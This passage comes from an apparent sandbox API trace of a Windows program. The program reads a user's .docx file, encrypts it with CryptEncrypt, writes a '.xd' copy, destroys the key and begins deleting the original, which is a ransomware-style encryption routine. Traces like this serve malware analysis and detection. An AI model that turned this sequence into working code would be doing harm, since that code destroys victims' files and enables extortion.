hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.724] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.724] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0071.724] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\weFosa.docx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wefosa.docx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0071.725] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.725] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.725] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.725] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.727] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0071.727] ReadFile (in: hFile=0x3bc, lpBuffer=0x17d0b18, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0071.730] ReadFile (in: hFile=0x3bc, lpBuffer=0x17d0b18, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesRead=0x130edb0*=0x4bd0, lpOverlapped=0x0) returned 1 [0071.730] ReadFile (in: hFile=0x3bc, lpBuffer=0x17d0b18, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0071.734] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.734] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.734] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.734] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0071.735] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.735] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.735] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0071.735] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.735] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0071.735] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.735] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.735] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.736] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0071.736] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0071.736] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0071.736] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x16294f0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294f0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0071.736] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.736] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.736] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.737] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.737] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.737] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.737] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.737] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.737] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.737] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.737] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.737] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.737] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.739] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.739] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.739] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.739] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.739] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.739] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.739] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.739] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.739] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.739] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.739] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.740] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621780, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.741] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.741] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x14bd0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x14be0) returned 1 [0071.741] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.741] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.741] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.741] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.741] CharLowerBuffW (in: lpsz="byte[84961]", cchLength=0xb | out: lpsz="byte[84961]") returned 0xb [0071.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.749] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.749] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.750] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.756] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.756] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.756] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e0b20*, pdwDataLen=0x130e618*=0x14bd0, dwBufLen=0x14be0 | out: pbData=0x17e0b20*, pdwDataLen=0x130e618*=0x14be0) returned 1 [0071.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.758] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.758] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.758] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.758] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.758] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.758] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.758] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.758] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.758] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.758] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.758] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.758] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.758] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.769] WriteFile (in: hFile=0x2ac, lpBuffer=0x4e30048*, nNumberOfBytesToWrite=0x14be0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x4e30048*, lpNumberOfBytesWritten=0x130f01c*=0x14be0, lpOverlapped=0x0) returned 1 [0071.771] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.771] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.771] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0071.771] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.771] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.771] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0071.771] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0071.771] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0071.771] CryptDestroyKey (hKey=0x164c630) returned 1 [0071.772] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.772] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.772] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.772] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.772] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.772] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.772] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.772] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.772] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.772] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0071.772] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.772] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.772] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.772] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.772] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.772] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.772] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.772] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.772] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.773] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.773] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.773] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.773] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.773] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.773] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.773] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.773] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.773] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.773] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0071.773] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0071.773] CryptReleaseContext (hProv=0x17aa010, dwFlags=0x0) returned 1 [0071.773] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.774] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.774] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.774] FreeLibrary (hLibModule=0x74c60000) returned 1 [0071.774] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.774] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.774] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.774] CloseHandle (hObject=0x3bc) returned 1 [0071.774] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.774] CloseHandle (hObject=0x2ac) returned 1 [0071.778] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.780] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.780] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", lpFilePart=0x0) returned 0x2b [0071.780] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\weFosa.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wefosa.docx")) returned 0x20 [0071.780] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\weFosa.docx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c270 [0071.780] DeleteFileW 